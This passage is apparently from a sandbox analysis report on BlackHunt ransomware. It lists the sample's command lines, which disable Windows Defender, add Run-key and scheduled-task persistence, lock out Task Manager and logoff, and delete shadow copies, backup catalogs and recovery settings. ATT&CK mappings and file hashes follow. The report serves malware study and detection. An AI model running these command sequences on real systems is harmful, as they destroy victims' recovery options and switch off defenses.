- Suspicious use of WriteProcessMemory
- System policy modification
PID:1908 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2744 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2748
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2328
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2552 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2344
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1528
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2944
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2472
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1540
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2468
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:928
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2612
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:652
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2444
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:304
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2488
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:2504
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2976
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2840
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2496
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2244
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2136
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2812
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:1108
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2400
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:1200
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:560
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2428
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1688
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2416
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1444
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1800
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1268
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2092
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1644
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1940
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1552
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1620
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2212
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:1720
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2296
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:640
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:3040
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1896
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2380
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1732
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2420
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:940
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1932
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1120
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1972
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:3048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2124
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2100
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe" /F2⤵PID:2708
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe" /F3⤵
- Creates scheduled task(s)
PID:2548
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2484
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2336
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2916
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1532
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1996
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2472
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2036
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2636
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1992
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2200
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2480
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:544
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2740
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1012
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2604
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2760
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2832
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2880
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2716
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1712
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2508
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2936
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2444
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
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Downloads
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Filesize
1KB
MD5d981b882fba5f0546f52ec2f116a057a
SHA1f05489fc4bdbbd86ac957a78a61afd97fb58bf69
SHA256652c8d6236e362ac4654ec657a4e9e0f7e4e1628f2d791a3cfe1579343d6cb09
SHA51249595b95e621f5e02563f231c5582816f931d2be8e198671e820cae049a2d47750237ccca1745736d9ee9f8cd4535e4272056011e5f9ea5543d1b18506fbe2b6
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Filesize
12KB
MD56fee0e91f50b4412955f1459ea09925b
SHA16c901f14e6cb366b685b3be3ff1203ac44c5a495
SHA256404090f4ed1bd0a68fcf39b96852cb158c1df92beb05f23a84afbf989aef199c
SHA51221eca799e40afb191aa57c157eb3c1b218a5c354958ee3092428d50804795971a4af967da4f4eb71b40892587a1daa32a1ac3d4b405c8faafea1663efb18a10d
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Filesize
684B
MD558f83f2410f583caddceaafc4a01cda0
SHA1129abcddd6f903ae7daacefd5533206baeea1d41
SHA256d9cd64e700a3127ce6aa28bb43d0b7f9c2c67bdeb6224d107cb18f8d01d29604
SHA5126e6a539fa5c379602cf20161459f8953063bd9cfc9eaf26f7b655830df0cdcbfc115b019b537cac05567f7a8b1f11e95e42ee4c4aeaa2f37803bb53945a027a9